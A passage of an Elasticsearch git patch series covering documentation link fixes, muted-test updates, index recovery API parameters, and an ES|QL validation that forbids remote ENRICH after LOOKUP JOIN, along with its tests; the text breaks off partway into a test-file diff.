diff --git a/docs/reference/elasticsearch/rest-apis/searching-with-query-rules.md b/docs/reference/elasticsearch/rest-apis/searching-with-query-rules.md
index 37a97495d5c97..e7bdc9d1a5439 100644
--- a/docs/reference/elasticsearch/rest-apis/searching-with-query-rules.md
+++ b/docs/reference/elasticsearch/rest-apis/searching-with-query-rules.md
@@ -18,13 +18,13 @@ $$$query-rules$$$
 * A referring site
 * etc.
 
-Query rules define a metadata key that will be used to match the metadata provided in the [rule retriever](/reference/elasticsearch/rest-apis/retrievers.md#rule-retriever) with the criteria specified in the rule.
+Query rules define a metadata key that will be used to match the metadata provided in the [rule retriever](/reference/elasticsearch/rest-apis/retrievers/rule-retriever.md) with the criteria specified in the rule.
 
 When a query rule matches the rule metadata according to its defined criteria, the query rule action is applied to the underlying `organic` query.
 
 For example, a query rule could be defined to match a user-entered query string of `pugs` and a country `us` and promote adoptable shelter dogs if the rule query met both criteria.
 
-Rules are defined using the [query rules API](https://www.elastic.co/docs/api/doc/elasticsearch/group/endpoint-query_rules) and searched using the [rule retriever](/reference/elasticsearch/rest-apis/retrievers.md#rule-retriever) or the [rule query](/reference/query-languages/query-dsl/query-dsl-rule-query.md).
+Rules are defined using the [query rules API](https://www.elastic.co/docs/api/doc/elasticsearch/group/endpoint-query_rules) and searched using the [rule retriever](/reference/elasticsearch/rest-apis/retrievers/rule-retriever.md) or the [rule query](/reference/query-languages/query-dsl/query-dsl-rule-query.md).
 
 
 ## Rule definition [query-rule-definition]
@@ -148,7 +148,7 @@ You can use the [Get query ruleset](https://www.elastic.co/docs/api/doc/elastics
 
 ## Search using query rules [rule-query-search]
 
-Once you have defined one or more query rulesets, you can search using these rulesets using the [rule retriever](/reference/elasticsearch/rest-apis/retrievers.md#rule-retriever) or the [rule query](/reference/query-languages/query-dsl/query-dsl-rule-query.md). Retrievers are the recommended way to use rule queries, as they will work out of the box with other reranking retrievers such as [Reciprocal rank fusion](/reference/elasticsearch/rest-apis/reciprocal-rank-fusion.md).
+Once you have defined one or more query rulesets, you can search using these rulesets using the [rule retriever](/reference/elasticsearch/rest-apis/retrievers/rule-retriever.md) or the [rule query](/reference/query-languages/query-dsl/query-dsl-rule-query.md). Retrievers are the recommended way to use rule queries, as they will work out of the box with other reranking retrievers such as [Reciprocal rank fusion](/reference/elasticsearch/rest-apis/reciprocal-rank-fusion.md).
 
 Rulesets are evaluated in order, so rules in the first ruleset you specify will be applied before any subsequent rulesets.
 
@@ -186,7 +186,7 @@ It’s possible to have multiple rules in a ruleset match a single [rule query](
 * If multiple documents are specified in a single rule, in the order they are specified
 * If a document is matched by both a `pinned` rule and an `exclude` rule, the `exclude` rule will take precedence
 
-You can specify reranking retrievers such as [rrf](/reference/elasticsearch/rest-apis/retrievers.md#rrf-retriever) or [text_similarity_reranker](/reference/elasticsearch/rest-apis/retrievers.md#text-similarity-reranker-retriever) in the rule query to apply query rules on already-reranked results. Here is an example:
+You can specify reranking retrievers such as [rrf](/reference/elasticsearch/rest-apis/retrievers/rrf-retriever.md) or [text_similarity_reranker](/reference/elasticsearch/rest-apis/retrievers/text-similarity-reranker-retriever.md) in the rule query to apply query rules on already-reranked results. Here is an example:
 
 ```console
 GET my-index-000001/_search
diff --git a/docs/reference/elasticsearch/toc.yml b/docs/reference/elasticsearch/toc.yml
index 7a221963ac87b..f156322c9a960 100644
--- a/docs/reference/elasticsearch/toc.yml
+++ b/docs/reference/elasticsearch/toc.yml
@@ -96,6 +96,15 @@ toc:
             - file: rest-apis/retrieve-selected-fields.md
             - file: rest-apis/retrieve-stored-fields.md
             - file: rest-apis/retrievers.md
+              children:
+                - file: rest-apis/retrievers/knn-retriever.md
+                - file: rest-apis/retrievers/linear-retriever.md
+                - file: rest-apis/retrievers/pinned-retriever.md
+                - file: rest-apis/retrievers/rescorer-retriever.md
+                - file: rest-apis/retrievers/rrf-retriever.md
+                - file: rest-apis/retrievers/rule-retriever.md
+                - file: rest-apis/retrievers/standard-retriever.md
+                - file: rest-apis/retrievers/text-similarity-reranker-retriever.md
             - file: rest-apis/search-multiple-data-streams-indices.md
             - file: rest-apis/search-profile.md
             - file: rest-apis/search-rank-eval.md
diff --git a/docs/reference/query-languages/query-dsl/query-dsl-rule-query.md b/docs/reference/query-languages/query-dsl/query-dsl-rule-query.md
index c682481cdc58a..3b017804cb1f5 100644
--- a/docs/reference/query-languages/query-dsl/query-dsl-rule-query.md
+++ b/docs/reference/query-languages/query-dsl/query-dsl-rule-query.md
@@ -14,7 +14,7 @@ mapped_pages:
 
 
 ::::{tip}
-The rule query is not supported for use alongside reranking. If you want to use query rules in conjunction with reranking, use the [rule retriever](/reference/elasticsearch/rest-apis/retrievers.md#rule-retriever) instead.
+The rule query is not supported for use alongside reranking. If you want to use query rules in conjunction with reranking, use the [rule retriever](/reference/elasticsearch/rest-apis/retrievers/rule-retriever.md) instead.
 
 ::::
 
diff --git a/docs/reference/query-languages/query-dsl/query-dsl-sparse-vector-query.md b/docs/reference/query-languages/query-dsl/query-dsl-sparse-vector-query.md
index e0df2c8dc14c1..ce46713dad3c5 100644
--- a/docs/reference/query-languages/query-dsl/query-dsl-sparse-vector-query.md
+++ b/docs/reference/query-languages/query-dsl/query-dsl-sparse-vector-query.md
@@ -150,7 +150,7 @@ GET my-index/_search
 }
 ```
 
-This can also be achieved using [reciprocal rank fusion (RRF)](/reference/elasticsearch/rest-apis/reciprocal-rank-fusion.md), through an [`rrf` retriever](/reference/elasticsearch/rest-apis/retrievers.md#rrf-retriever) with multiple [`standard` retrievers](/reference/elasticsearch/rest-apis/retrievers.md#standard-retriever).
+This can also be achieved using [reciprocal rank fusion (RRF)](/reference/elasticsearch/rest-apis/reciprocal-rank-fusion.md), through an [`rrf` retriever](/reference/elasticsearch/rest-apis/retrievers/rrf-retriever.md) with multiple [`standard` retrievers](/reference/elasticsearch/rest-apis/retrievers/standard-retriever.md).
 
 ```console
 GET my-index/_search
diff --git a/docs/reference/query-languages/query-dsl/query-dsl-text-expansion-query.md b/docs/reference/query-languages/query-dsl/query-dsl-text-expansion-query.md
index 1eca639ea6462..148f6f304278e 100644
--- a/docs/reference/query-languages/query-dsl/query-dsl-text-expansion-query.md
+++ b/docs/reference/query-languages/query-dsl/query-dsl-text-expansion-query.md
@@ -134,7 +134,7 @@ GET my-index/_search
 }
 ```
 
-This can also be achieved using [reciprocal rank fusion (RRF)](/reference/elasticsearch/rest-apis/reciprocal-rank-fusion.md), through an [`rrf` retriever](/reference/elasticsearch/rest-apis/retrievers.md#rrf-retriever) with multiple [`standard` retrievers](/reference/elasticsearch/rest-apis/retrievers.md#standard-retriever).
+This can also be achieved using [reciprocal rank fusion (RRF)](/reference/elasticsearch/rest-apis/reciprocal-rank-fusion.md), through an [`rrf` retriever](/reference/elasticsearch/rest-apis/retrievers/rrf-retriever.md) with multiple [`standard` retrievers](/reference/elasticsearch/rest-apis/retrievers/standard-retriever.md).
 
 ```console
 GET my-index/_search

From 52ba15cea53601a6cb9e3a726965953773bc1f8e Mon Sep 17 00:00:00 2001
From: Stanislav Malyshev <smalyshev@users.noreply.github.com>
Date: Thu, 17 Jul 2025 15:04:25 -0600
Subject: [PATCH 184/299] Unmute testStopQueryLocal (#131477)

---
 muted-tests.yml | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/muted-tests.yml b/muted-tests.yml
index b976884745ff2..86947ba772f89 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -423,9 +423,6 @@ tests:
 - class: org.elasticsearch.index.IndexingPressureIT
   method: testWriteCanBeRejectedAtPrimaryLevel
   issue: https://github.com/elastic/elasticsearch/issues/131151
-- class: org.elasticsearch.xpack.esql.action.CrossClusterAsyncQueryStopIT
-  method: testStopQueryLocal
-  issue: https://github.com/elastic/elasticsearch/issues/121672
 - class: org.elasticsearch.repositories.s3.S3ServiceTests
   method: testGetClientRegionFromEndpointSettingGuess
   issue: https://github.com/elastic/elasticsearch/issues/131392

From 45d04a75cdfb6368f9e1416a163d17e73c5c7694 Mon Sep 17 00:00:00 2001
From: elasticsearchmachine
 <58790826+elasticsearchmachine@users.noreply.github.com>
Date: Fri, 18 Jul 2025 00:00:54 +0200
Subject: [PATCH 185/299] Mute
 org.elasticsearch.xpack.esql.action.CrossClusterQueryWithPartialResultsIT
 testPartialResults #131481

---
 muted-tests.yml | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/muted-tests.yml b/muted-tests.yml
index 86947ba772f89..b4bdd87b9c93b 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -432,6 +432,9 @@ tests:
 - class: org.elasticsearch.packaging.test.DockerTests
   method: test071BindMountCustomPathWithDifferentUID
   issue: https://github.com/elastic/elasticsearch/issues/120917
+- class: org.elasticsearch.xpack.esql.action.CrossClusterQueryWithPartialResultsIT
+  method: testPartialResults
+  issue: https://github.com/elastic/elasticsearch/issues/131481
 
 # Examples:
 #

From cad67ee02da101533270109115d8c2869d990705 Mon Sep 17 00:00:00 2001
From: Yang Wang <yang.wang@elastic.co>
Date: Fri, 18 Jul 2025 13:05:35 +1000
Subject: [PATCH 186/299] Add missing query params to index recovery API spec
 (#131490) (#131492)

This PR adds the missing ignore_unavailable, allow_no_indices and
expand_wildcards query parameters.
---
 .../rest-api-spec/api/indices.recovery.json   | 22 +++++++++++++++++++
 .../test/indices.recovery/10_basic.yml        |  3 +++
 2 files changed, 25 insertions(+)

diff --git a/rest-api-spec/src/main/resources/rest-api-spec/api/indices.recovery.json b/rest-api-spec/src/main/resources/rest-api-spec/api/indices.recovery.json
index b1174b89df0bd..fe66541fa9b0b 100644
--- a/rest-api-spec/src/main/resources/rest-api-spec/api/indices.recovery.json
+++ b/rest-api-spec/src/main/resources/rest-api-spec/api/indices.recovery.json
@@ -41,6 +41,28 @@
         "type":"boolean",
         "description":"Display only those recoveries that are currently on-going",
         "default":false
+      },
+      "ignore_unavailable":{
+        "type":"boolean",
+        "description":"Whether specified concrete indices should be ignored when unavailable (missing or closed)",
+        "default":false
+      },
+      "allow_no_indices":{
+        "type":"boolean",
+        "description":"Whether to ignore if a wildcard indices expression resolves into no concrete indices. (This includes `_all` string or when no indices have been specified)",
+        "default":true
+      },
+      "expand_wildcards":{
+        "type":"enum",
+        "options":[
+          "open",
+          "closed",
+          "hidden",
+          "none",
+          "all"
+        ],
+        "default":"open",
+        "description":"Whether to expand wildcard expression to concrete indices that are open, closed or both."
       }
     }
   }
diff --git a/rest-api-spec/src/yamlRestTest/resources/rest-api-spec/test/indices.recovery/10_basic.yml b/rest-api-spec/src/yamlRestTest/resources/rest-api-spec/test/indices.recovery/10_basic.yml
index 8ad06910ebe4d..0724f3831aeab 100644
--- a/rest-api-spec/src/yamlRestTest/resources/rest-api-spec/test/indices.recovery/10_basic.yml
+++ b/rest-api-spec/src/yamlRestTest/resources/rest-api-spec/test/indices.recovery/10_basic.yml
@@ -17,6 +17,9 @@
       indices.recovery:
         index: [test_1]
         human: true
+        ignore_unavailable: false
+        allow_no_indices: true
+        expand_wildcards: open
 
   - match: { test_1.shards.0.type:                                 "EMPTY_STORE"           }
   - match: { test_1.shards.0.stage:                                "DONE"                  }

From 401599d87369f9b09944acaf0fc9a340c0f8d5eb Mon Sep 17 00:00:00 2001
From: Alexander Spies <alexander.spies@elastic.co>
Date: Fri, 18 Jul 2025 17:41:49 +0200
Subject: [PATCH 187/299] Mute downsample-with-security/10_basic/Downsample
 index (#131540)

9.1 version of the mute for https://github.com/elastic/elasticsearch/issues/131513
---
 muted-tests.yml | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/muted-tests.yml b/muted-tests.yml
index b4bdd87b9c93b..40f8109b8dbb0 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -435,6 +435,9 @@ tests:
 - class: org.elasticsearch.xpack.esql.action.CrossClusterQueryWithPartialResultsIT
   method: testPartialResults
   issue: https://github.com/elastic/elasticsearch/issues/131481
+- class: org.elasticsearch.xpack.downsample.DownsampleWithBasicRestIT
+  method: test {p0=downsample-with-security/10_basic/Downsample index}
+  issue: https://github.com/elastic/elasticsearch/issues/131513
 
 # Examples:
 #

From 3e0b47ca1fe08c901bd7b9f842fe1676b9510696 Mon Sep 17 00:00:00 2001
From: Alexander Spies <alexander.spies@elastic.co>
Date: Fri, 18 Jul 2025 18:47:00 +0200
Subject: [PATCH 188/299] ESQL: Disallow remote enrich after lu join (#131426)
 (#131533)

Fix https://github.com/elastic/elasticsearch/issues/129372

Due to how remote ENRICH is
[planned](https://github.com/elastic/elasticsearch/blob/32e50d0d94e27ee559d24bf9d5463ba6e64d1788/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/planner/mapper/Mapper.java#L93),
it interacts in special ways with pipeline breakers, in particular LIMIT
and TopN; when these are encountered upstream from a remote ENRICH,
these nodes are copied and executed a second time after the remote
ENRICH.

We'd like to allow remote ENRICH after LOOKUP JOIN, but that forces the
lookup to be remote as well; this has its own interactions with pipeline
breakers: in particular, LIMITs and TopNs cannot just be duplicated
after LOOKUP JOIN, as LOOKUP JOIN may add new rows.

For now, let's just forbid any usage of remote ENRICH after LOOKUP
JOINs; remote ENRICH is mostly relevant for CCS, and LOOKUP JOIN doesn't
support that in 9.1/8.19, anyway.

There is separate work that enables remote LOOKUP JOINs on remote
clusters and adds the correct validations; we can later build support
for remote ENRICH + LOOKUP JOIN on top of that. (C.f. my comment
[here](https://github.com/elastic/elasticsearch/issues/129372#issuecomment-3083024230)
and my draft https://github.com/elastic/elasticsearch/pull/131286 for
enabling this.)

(cherry picked from commit 06e39c0377e3769eae91487b6c2d22978f554b43)

# Conflicts:
#	x-pack/plugin/esql/qa/server/multi-clusters/src/javaRestTest/java/org/elasticsearch/xpack/esql/ccq/MultiClusterSpecIT.java
#	x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/analysis/VerifierTests.java
---
 docs/changelog/131426.yaml                    |   6 +
 .../src/main/resources/enrich.csv-spec        | 101 +++++++++++++
 .../src/main/resources/lookup-join.csv-spec   |  98 ++++++++++++
 .../xpack/esql/plan/logical/Enrich.java       |  49 ++++--
 .../xpack/esql/planner/mapper/Mapper.java     |   2 +-
 .../esql/analysis/AnalyzerTestUtils.java      |  68 +++++----
 .../xpack/esql/analysis/VerifierTests.java    | 139 ++++++++++++++++++
 7 files changed, 423 insertions(+), 40 deletions(-)
 create mode 100644 docs/changelog/131426.yaml

diff --git a/docs/changelog/131426.yaml b/docs/changelog/131426.yaml
new file mode 100644
index 0000000000000..4f79415ba069d
--- /dev/null
+++ b/docs/changelog/131426.yaml
@@ -0,0 +1,6 @@
+pr: 131426
+summary: Disallow remote enrich after lu join
+area: ES|QL
+type: bug
+issues:
+ - 129372
diff --git a/x-pack/plugin/esql/qa/testFixtures/src/main/resources/enrich.csv-spec b/x-pack/plugin/esql/qa/testFixtures/src/main/resources/enrich.csv-spec
index 9bfb08eb82b45..2aa6189a957ec 100644
--- a/x-pack/plugin/esql/qa/testFixtures/src/main/resources/enrich.csv-spec
+++ b/x-pack/plugin/esql/qa/testFixtures/src/main/resources/enrich.csv-spec
@@ -661,3 +661,104 @@ from *
 author.keyword:keyword|book_no:keyword|scalerank:integer|street:keyword|bytes_in:ul|@timestamp:unsupported|abbrev:keyword|city_location:geo_point|distance:double|description:unsupported|birth_date:date|language_code:integer|intersects:boolean|client_ip:unsupported|event_duration:long|version:version|language_name:keyword
 Fyodor Dostoevsky     |1211           |null             |null          |null       |null                  |null          |null                   |null           |null                   |null           |null                 |null              |null                 |null               |null           |null
 ;
+
+
+statsAfterRemoteEnrich
+required_capability: enrich_load
+
+FROM sample_data
+| KEEP message
+| WHERE message IN ("Connected to 10.1.0.1", "Connected to 10.1.0.2")
+| EVAL language_code = "1"
+| ENRICH _remote:languages_policy ON language_code
+| STATS messages = count_distinct(message) BY language_name
+;
+
+messages:long | language_name:keyword
+2             | English
+;
+
+
+enrichAfterRemoteEnrich
+required_capability: enrich_load
+
+FROM sample_data
+| KEEP message
+| WHERE message IN ("Connected to 10.1.0.1")
+| EVAL language_code = "1"
+| ENRICH _remote:languages_policy ON language_code
+| RENAME language_name AS first_language_name
+| ENRICH languages_policy ON language_code
+;
+
+message:keyword       | language_code:keyword | first_language_name:keyword | language_name:keyword
+Connected to 10.1.0.1 | 1                     | English                     | English
+;
+
+
+coordinatorEnrichAfterRemoteEnrich
+required_capability: enrich_load
+
+FROM sample_data
+| KEEP message
+| WHERE message IN ("Connected to 10.1.0.1")
+| EVAL language_code = "1"
+| ENRICH _remote:languages_policy ON language_code
+| RENAME language_name AS first_language_name
+| ENRICH _coordinator:languages_policy ON language_code
+;
+
+message:keyword       | language_code:keyword | first_language_name:keyword | language_name:keyword
+Connected to 10.1.0.1 | 1                     | English                     | English
+;
+
+
+doubleRemoteEnrich
+required_capability: enrich_load
+
+FROM sample_data
+| KEEP message
+| WHERE message IN ("Connected to 10.1.0.1")
+| EVAL language_code = "1"
+| ENRICH _remote:languages_policy ON language_code
+| RENAME language_name AS first_language_name
+| ENRICH _remote:languages_policy ON language_code
+;
+
+message:keyword       | language_code:keyword | first_language_name:keyword | language_name:keyword
+Connected to 10.1.0.1 | 1                     | English                     | English
+;
+
+
+enrichAfterCoordinatorEnrich
+required_capability: enrich_load
+
+FROM sample_data
+| KEEP message
+| WHERE message IN ("Connected to 10.1.0.1")
+| EVAL language_code = "1"
+| ENRICH _coordinator:languages_policy ON language_code
+| RENAME language_name AS first_language_name
+| ENRICH languages_policy ON language_code
+;
+
+message:keyword       | language_code:keyword | first_language_name:keyword | language_name:keyword
+Connected to 10.1.0.1 | 1                     | English                     | English
+;
+
+
+doubleCoordinatorEnrich
+required_capability: enrich_load
+
+FROM sample_data
+| KEEP message
+| WHERE message IN ("Connected to 10.1.0.1")
+| EVAL language_code = "1"
+| ENRICH _coordinator:languages_policy ON language_code
+| RENAME language_name AS first_language_name
+| ENRICH _coordinator:languages_policy ON language_code
+;
+
+message:keyword       | language_code:keyword | first_language_name:keyword | language_name:keyword
+Connected to 10.1.0.1 | 1                     | English                     | English
+;
diff --git a/x-pack/plugin/esql/qa/testFixtures/src/main/resources/lookup-join.csv-spec b/x-pack/plugin/esql/qa/testFixtures/src/main/resources/lookup-join.csv-spec
index e82c7be4cede2..108ae5e250fad 100644
--- a/x-pack/plugin/esql/qa/testFixtures/src/main/resources/lookup-join.csv-spec
+++ b/x-pack/plugin/esql/qa/testFixtures/src/main/resources/lookup-join.csv-spec
@@ -4773,3 +4773,101 @@ FROM sample_data_ts_nanos
 2023-10-23T12:27:28.948123456Z | 172.21.2.113 | 2764889 | Connected to 10.1.0.2
 2023-10-23T12:15:03.360123456Z | 172.21.2.162 | 3450233 | Connected to 10.1.0.3
 ;
+
+###############################################
+# LOOKUP JOIN and ENRICH
+###############################################
+
+enrichAfterLookupJoin
+required_capability: join_lookup_v12
+
+FROM sample_data
+| KEEP message
+| WHERE message == "Connected to 10.1.0.1"
+| EVAL language_code = "1"
+| LOOKUP JOIN message_types_lookup ON message
+| ENRICH languages_policy ON language_code
+;
+
+message:keyword       | language_code:keyword | type:keyword | language_name:keyword
+Connected to 10.1.0.1 | 1                     | Success      | English
+;
+
+
+lookupJoinAfterEnrich
+required_capability: join_lookup_v12
+
+FROM sample_data
+| KEEP message
+| WHERE message == "Connected to 10.1.0.1"
+| EVAL language_code = "1"
+| ENRICH languages_policy ON language_code
+| LOOKUP JOIN message_types_lookup ON message
+;
+
+message:keyword       | language_code:keyword | language_name:keyword | type:keyword
+Connected to 10.1.0.1 | 1                     | English               | Success
+;
+
+
+lookupJoinAfterRemoteEnrich
+required_capability: join_lookup_v12
+
+FROM sample_data
+| KEEP message
+| WHERE message == "Connected to 10.1.0.1"
+| EVAL language_code = "1"
+| ENRICH _remote:languages_policy ON language_code
+| LOOKUP JOIN message_types_lookup ON message
+;
+
+message:keyword       | language_code:keyword | language_name:keyword | type:keyword
+Connected to 10.1.0.1 | 1                     | English               | Success
+;
+
+
+lookupJoinAfterLimitAndRemoteEnrich
+required_capability: join_lookup_v12
+
+FROM sample_data
+| KEEP message
+| WHERE message == "Connected to 10.1.0.1"
+| EVAL language_code = "1"
+| LIMIT 1
+| ENRICH _remote:languages_policy ON language_code
+| EVAL enrich_language_name = language_name, language_code = language_code::integer
+| LOOKUP JOIN languages_lookup_non_unique_key ON language_code
+| KEEP message, enrich_language_name, language_name, country.keyword
+| SORT language_name, country.keyword
+;
+
+message:keyword       | enrich_language_name:keyword | language_name:keyword | country.keyword:keyword
+Connected to 10.1.0.1 | English                      | English               | Canada
+Connected to 10.1.0.1 | English                      | English               | United States of America
+Connected to 10.1.0.1 | English                      | English               | null
+Connected to 10.1.0.1 | English                      | null                  | United Kingdom
+;
+
+
+lookupJoinAfterTopNAndRemoteEnrich
+required_capability: join_lookup_v12
+
+FROM sample_data
+| KEEP message
+| WHERE message == "Connected to 10.1.0.1"
+| EVAL language_code = "1"
+| SORT message
+| LIMIT 1
+| ENRICH _remote:languages_policy ON language_code
+| EVAL enrich_language_name = language_name, language_code = language_code::integer
+| LOOKUP JOIN languages_lookup_non_unique_key ON language_code
+| KEEP message, enrich_language_name, language_name, country.keyword
+| SORT language_name, country.keyword
+;
+
+message:keyword       | enrich_language_name:keyword | language_name:keyword | country.keyword:keyword
+Connected to 10.1.0.1 | English                      | English               | Canada
+Connected to 10.1.0.1 | English                      | English               | United States of America
+Connected to 10.1.0.1 | English                      | English               | null
+Connected to 10.1.0.1 | English                      | null                  | United Kingdom
+;
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plan/logical/Enrich.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plan/logical/Enrich.java
index 11e9a57064e5b..7307fd8efad39 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plan/logical/Enrich.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plan/logical/Enrich.java
@@ -35,6 +35,7 @@
 import org.elasticsearch.xpack.esql.index.EsIndex;
 import org.elasticsearch.xpack.esql.io.stream.PlanStreamInput;
 import org.elasticsearch.xpack.esql.plan.GeneratingPlan;
+import org.elasticsearch.xpack.esql.plan.logical.join.LookupJoin;
 
 import java.io.IOException;
 import java.util.ArrayList;
@@ -295,23 +296,43 @@ public BiConsumer<LogicalPlan, Failures> postAnalysisPlanVerification() {
      * retaining the originating cluster and restructing pages for routing, which might be complicated.
      */
     private static void checkRemoteEnrich(LogicalPlan plan, Failures failures) {
-        boolean[] agg = { false };
-        boolean[] enrichCoord = { false };
+        // First look for remote ENRICH, and then look at its children. Going over the whole plan once is trickier as remote ENRICHs can be
+        // in separate FORK branches which are valid by themselves.
+        plan.forEachUp(Enrich.class, enrich -> checkForPlansForbiddenBeforeRemoteEnrich(enrich, failures));
+    }
+
+    /**
+     * For a given remote {@link Enrich}, check if there are any forbidden plans upstream.
+     */
+    private static void checkForPlansForbiddenBeforeRemoteEnrich(Enrich enrich, Failures failures) {
+        if (enrich.mode != Mode.REMOTE) {
+            return;
+        }
+
+        // TODO: shouldn't we also include FORK? Everything downstream from FORK should be coordinator-only.
+        // https://github.com/elastic/elasticsearch/issues/131445
+        boolean[] aggregate = { false };
+        boolean[] coordinatorOnlyEnrich = { false };
+        boolean[] lookupJoin = { false };
 
-        plan.forEachUp(UnaryPlan.class, u -> {
+        enrich.forEachUp(LogicalPlan.class, u -> {
             if (u instanceof Aggregate) {
-                agg[0] = true;
-            } else if (u instanceof Enrich enrich && enrich.mode() == Enrich.Mode.COORDINATOR) {
-                enrichCoord[0] = true;
-            }
-            if (u instanceof Enrich enrich && enrich.mode() == Enrich.Mode.REMOTE) {
-                if (agg[0]) {
-                    failures.add(fail(enrich, "ENRICH with remote policy can't be executed after STATS"));
-                }
-                if (enrichCoord[0]) {
-                    failures.add(fail(enrich, "ENRICH with remote policy can't be executed after another ENRICH with coordinator policy"));
-                }
+                aggregate[0] = true;
+            } else if (u instanceof Enrich upstreamEnrich && upstreamEnrich.mode() == Enrich.Mode.COORDINATOR) {
+                coordinatorOnlyEnrich[0] = true;
+            } else if (u instanceof LookupJoin) {
+                lookupJoin[0] = true;
             }
         });
+
+        if (aggregate[0]) {
+            failures.add(fail(enrich, "ENRICH with remote policy can't be executed after STATS"));
+        }
+        if (coordinatorOnlyEnrich[0]) {
+            failures.add(fail(enrich, "ENRICH with remote policy can't be executed after another ENRICH with coordinator policy"));
+        }
+        if (lookupJoin[0]) {
+            failures.add(fail(enrich, "ENRICH with remote policy can't be executed after LOOKUP JOIN"));
+        }
     }
 }
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/planner/mapper/Mapper.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/planner/mapper/Mapper.java
index 137a2118b0d54..afda53697d5a2 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/planner/mapper/Mapper.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/planner/mapper/Mapper.java
@@ -88,7 +88,7 @@ private PhysicalPlan mapUnary(UnaryPlan unary) {
         PhysicalPlan mappedChild = map(unary.child());
 
         //
-        // TODO - this is hard to follow and needs reworking
+        // TODO - this is hard to follow, causes bugs and needs reworking
         // https://github.com/elastic/elasticsearch/issues/115897
         //
         if (unary instanceof Enrich enrich && enrich.mode() == Enrich.Mode.REMOTE) {
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/analysis/AnalyzerTestUtils.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/analysis/AnalyzerTestUtils.java
index c806fec61dc64..85492117bc542 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/analysis/AnalyzerTestUtils.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/analysis/AnalyzerTestUtils.java
@@ -36,9 +36,9 @@
 import static org.elasticsearch.xpack.core.enrich.EnrichPolicy.GEO_MATCH_TYPE;
 import static org.elasticsearch.xpack.core.enrich.EnrichPolicy.MATCH_TYPE;
 import static org.elasticsearch.xpack.core.enrich.EnrichPolicy.RANGE_TYPE;
+import static org.elasticsearch.xpack.esql.EsqlTestUtils.TEST_CFG;
 import static org.elasticsearch.xpack.esql.EsqlTestUtils.TEST_VERIFIER;
 import static org.elasticsearch.xpack.esql.EsqlTestUtils.configuration;
-import static org.elasticsearch.xpack.esql.EsqlTestUtils.emptyInferenceResolution;
 
 public final class AnalyzerTestUtils {
 
@@ -61,27 +61,36 @@ public static Analyzer analyzer(IndexResolution indexResolution, Map<String, Ind
     }
 
     public static Analyzer analyzer(IndexResolution indexResolution, Verifier verifier) {
-        return new Analyzer(
-            new AnalyzerContext(
-                EsqlTestUtils.TEST_CFG,
-                new EsqlFunctionRegistry(),
-                indexResolution,
-                defaultLookupResolution(),
-                defaultEnrichResolution(),
-                emptyInferenceResolution()
-            ),
-            verifier
-        );
+        return analyzer(indexResolution, defaultLookupResolution(), verifier);
     }
 
     public static Analyzer analyzer(IndexResolution indexResolution, Map<String, IndexResolution> lookupResolution, Verifier verifier) {
+        return analyzer(indexResolution, lookupResolution, defaultEnrichResolution(), verifier);
+    }
+
+    public static Analyzer analyzer(
+        IndexResolution indexResolution,
+        Map<String, IndexResolution> lookupResolution,
+        EnrichResolution enrichResolution,
+        Verifier verifier
+    ) {
+        return analyzer(indexResolution, lookupResolution, enrichResolution, verifier, TEST_CFG);
+    }
+
+    public static Analyzer analyzer(
+        IndexResolution indexResolution,
+        Map<String, IndexResolution> lookupResolution,
+        EnrichResolution enrichResolution,
+        Verifier verifier,
+        Configuration config
+    ) {
         return new Analyzer(
             new AnalyzerContext(
-                EsqlTestUtils.TEST_CFG,
+                config,
                 new EsqlFunctionRegistry(),
                 indexResolution,
                 lookupResolution,
-                defaultEnrichResolution(),
+                enrichResolution,
                 defaultInferenceResolution()
             ),
             verifier
@@ -89,17 +98,7 @@ public static Analyzer analyzer(IndexResolution indexResolution, Map<String, Ind
     }
 
     public static Analyzer analyzer(IndexResolution indexResolution, Verifier verifier, Configuration config) {
-        return new Analyzer(
-            new AnalyzerContext(
-                config,
-                new EsqlFunctionRegistry(),
-                indexResolution,
-                defaultLookupResolution(),
-                defaultEnrichResolution(),
-                defaultInferenceResolution()
-            ),
-            verifier
-        );
+        return analyzer(indexResolution, defaultLookupResolution(), defaultEnrichResolution(), verifier, config);
     }
 
     public static Analyzer analyzer(Verifier verifier) {
@@ -213,6 +212,25 @@ public static void loadEnrichPolicyResolution(
         );
     }
 
+    public static void loadEnrichPolicyResolution(
+        EnrichResolution enrich,
+        Enrich.Mode mode,
+        String policyType,
+        String policy,
+        String field,
+        String index,
+        String mapping
+    ) {
+        IndexResolution indexResolution = loadMapping(mapping, index);
+        List<String> enrichFields = new ArrayList<>(indexResolution.get().mapping().keySet());
+        enrichFields.remove(field);
+        enrich.addResolvedPolicy(
+            policy,
+            mode,
+            new ResolvedEnrichPolicy(field, policyType, enrichFields, Map.of("", index), indexResolution.get().mapping())
+        );
+    }
+
     public static void loadEnrichPolicyResolution(EnrichResolution enrich, String policy, String field, String index, String mapping) {
         loadEnrichPolicyResolution(enrich, EnrichPolicy.MATCH_TYPE, policy, field, index, mapping);
     }
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/analysis/VerifierTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/analysis/VerifierTests.java
index 8c663c5ed3f49..f2092ed2d5e21 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/analysis/VerifierTests.java
